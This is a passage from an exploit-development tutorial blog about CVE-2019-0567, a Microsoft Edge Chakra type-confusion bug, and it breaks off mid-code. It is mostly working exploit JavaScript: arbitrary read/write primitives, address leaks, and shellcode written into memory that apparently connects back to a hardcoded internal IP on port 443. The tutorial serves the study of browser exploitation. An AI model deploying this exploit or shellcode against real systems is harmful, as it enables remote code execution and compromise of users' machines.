<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4953db31</span><span class="p">,</span> <span class="mh">0x6e6977be</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x74656e69</span><span class="p">,</span> <span class="mh">0x48564100</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc749e189</span><span class="p">,</span> <span class="mh">0x26774cc2</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53d5ff07</span><span class="p">,</span> <span class="mh">0xe1894853</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x314d5a53</span><span class="p">,</span> <span class="mh">0xc9314dc0</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba495353</span><span class="p">,</span> <span class="mh">0xa779563a</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0ee8d5ff</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x31000000</span><span class="p">,</span> <span class="mh">0x312e3237</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x35352e36</span><span class="p">,</span> <span class="mh">0x3539312e</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485a00</span><span class="p">,</span> <span class="mh">0xc0c749c1</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000001bb</span><span class="p">,</span> <span class="mh">0x53c9314d</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53036a53</span><span class="p">,</span> <span class="mh">0x8957ba49</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0000c69f</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000023e8</span><span class="p">,</span> <span class="mh">0x2d652f00</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x65503754</span><span class="p">,</span> <span class="mh">0x516f3242</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58643452</span><span class="p">,</span> <span class="mh">0x6b47336c</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x67377674</span><span class="p">,</span> <span class="mh">0x4d576c79</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x3764757a</span><span class="p">,</span> <span class="mh">0x0078466a</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53c18948</span><span class="p">,</span> <span class="mh">0x4d58415a</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4853c931</span><span class="p">,</span> <span class="mh">0x280200b8</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000084</span><span class="p">,</span> <span class="mh">0x53535000</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xebc2c749</span><span class="p">,</span> <span class="mh">0xff3b2e55</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc68948d5</span><span class="p">,</span> <span class="mh">0x535f0a6a</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf189485a</span><span class="p">,</span> <span class="mh">0x4dc9314d</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5353c931</span><span class="p">,</span> <span class="mh">0x2dc2c749</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff7b1806</span><span class="p">,</span> <span class="mh">0x75c085d5</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc1c7481f</span><span class="p">,</span> <span class="mh">0x00001388</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf044ba49</span><span class="p">,</span> <span class="mh">0x0000e035</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">,</span> <span class="mh">0x74cfff48</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe8cceb02</span><span class="p">,</span> <span class="mh">0x00000055</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x406a5953</span><span class="p">,</span> <span class="mh">0xd189495a</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4910e2c1</span><span class="p">,</span> <span class="mh">0x1000c0c7</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba490000</span><span class="p">,</span> <span class="mh">0xe553a458</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x9348d5ff</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485353</span><span class="p">,</span> <span class="mh">0xf18948e7</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x49da8948</span><span class="p">,</span> <span class="mh">0x2000c0c7</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89490000</span><span class="p">,</span> <span class="mh">0x12ba49f9</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00e28996</span><span class="p">,</span> <span class="mh">0xff000000</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc48348d5</span><span class="p">,</span> <span class="mh">0x74c08520</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x078b66b2</span><span class="p">,</span> <span class="mh">0x85c30148</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58d275c0</span><span class="p">,</span> <span class="mh">0x006a58c3</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc2c74959</span><span class="p">,</span> <span class="mh">0x56a2b5f0</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0000d5ff</span><span class="p">,</span> <span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
</code></pre></div></div>

<p>Notice at the last line, we are missing 4 bytes. We can add some <code class="language-plaintext highlighter-rouge">NULL</code> padding (<code class="language-plaintext highlighter-rouge">NULL</code> bytes don’t affect us because we aren’t dealing with C-style strings). We need to update our last line as follows:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0000d5ff</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
</code></pre></div></div>

<p>Let’s take just one second to breakdown why the shellcode is formatted this way. We can see that our write primitive starts writing this shellcode to <code class="language-plaintext highlighter-rouge">chakra_base + 0x74b000</code>. If we take a look at this address within WinDbg we can see it is “empty”.</p>

<p><img src="/images/3typeconfusion65.png" alt="" /></p>

<p>This address comes from the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code> - meaning it is RW memory that we can write our shellcode to. As we have seen time and time again, the <code class="language-plaintext highlighter-rouge">!dh chakra</code> command can be used to see where the different headers are located at. Here is how our exploit looks now:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll</span>
    <span class="c1">// chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle</span>
    <span class="nx">kernelbaseLeak</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x5ee2b8</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

    <span class="c1">// KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address</span>
    <span class="nx">kernelbaseLo</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="mh">0x18de0</span><span class="p">;</span>
    <span class="nx">kernelbaseHigh</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable</span>
